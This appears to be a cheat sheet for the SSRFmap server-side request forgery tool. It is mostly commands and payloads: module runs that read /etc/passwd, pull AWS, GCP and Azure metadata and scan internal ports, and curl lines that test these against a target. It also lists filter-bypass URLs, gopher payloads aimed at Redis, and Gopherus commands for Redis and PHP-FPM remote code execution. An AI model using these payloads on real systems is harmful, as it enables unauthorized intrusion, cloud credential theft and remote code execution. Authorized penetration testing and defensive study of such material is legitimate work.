AeonDave SSRFmap
Automated SSRF exploitation — local files, port scan, cloud metadata, internal service abuse.
Quick Start
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap && pip3 install -r requirements.txt
# Basic: read /etc/passwd via SSRF
python3 ssrfmap.py -r request.txt -p url -m readfiles
# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws
# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan
Request File Format
Save a Burp-captured request as request.txt:
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"url": "http://SSRF_URL"}
The -p url flag tells SSRFmap which parameter inside the body/query contains the injectable URL. Use SSRF_URL as a placeholder; the tool replaces it.
Core Flags
| Flag | Purpose |
|---|---|
-r <file> |
Burp-format request file |
-p <param> |
Parameter name containing the SSRF URL |
-m <module> |
Exploitation module(s) — comma-separated |
-l <level> |
Verbosity level 0-3 (default: 0) |
--lhost <ip> |
Local IP for reverse shells or callbacks |
--lport <port> |
Local port for reverse shells |
--proxy <url> |
Route requests through proxy |
--ssl |
Force HTTPS connection to target |
--uagent <ua> |
Custom User-Agent |
--waf |
Enable WAF bypass mode (double URL encoding) |
Exploitation Modules
| Module | What It Does |
|---|---|
readfiles |
Read local files via file:///etc/passwd |
portscan |
Scan internal ports (127.0.0.1 / RFC1918) |
aws |
Extract AWS EC2 metadata (169.254.169.254) |
gcp |
Extract GCP metadata (metadata.google.internal) |
azure |
Extract Azure IMDS metadata |
networkscan |
Ping sweep internal network |
redis |
Exploit Redis via Gopher to write files or get shell |
smtp |
Send email via internal SMTP (Gopher) |
fastcgi |
PHP-FPM FastCGI RCE (Gopher) |
mysql |
MySQL query via Gopher |
docker |
Docker API enumeration |
zabbix |
Zabbix API exploitation |
Multi-Module Run
# Enumerate everything in one pass
python3 ssrfmap.py -r request.txt -p url \
-m aws,readfiles,portscan -l 2
Manual SSRF Verification First
Confirm SSRF exists before running SSRFmap:
# 1. Start listener
python3 -m http.server 8000
# 2. Send request with callback to your IP
# If you see a request in the listener → SSRF confirmed
# 3. Test file read manually
curl "https://target.com/api?url=file:///etc/passwd"
# 4. Test cloud metadata (AWS)
curl "https://target.com/api?url=http://169.254.169.254/latest/meta-data/"
SSRF Bypass Techniques
# IP representation variants
http://2130706433/ # 127.0.0.1 as decimal
http://0x7f000001/ # 127.0.0.1 as hex
http://0177.0.0.1/ # 127.0.0.1 as octal
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
# DNS tricks
http://localtest.me/ # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net/ # DNS rebinding
# URL obfuscation
http://target.com@127.0.0.1/ # @ trick
http://127.0.0.1#target.com # Fragment
http://127.0.0.1/.target.com/ # Path confusion
# Protocol handlers
gopher://127.0.0.1:6379/_FLUSH%0D%0A # Redis via gopher
dict://127.0.0.1:6379/info # Redis via dict
Gopherus (Complementary Tool)
For generating Gopher payloads targeting internal services:
pip3 install gopherus
gopherus --exploit redis # Redis RCE
gopherus --exploit mysql # MySQL query injection
gopherus --exploit fastcgi # PHP-FPM RCE
gopherus --exploit postgresql # PostgreSQL
References
- SSRFmap GitHub
- Gopherus GitHub
- SSRF bypass payloads:
references/ssrf-bypass.md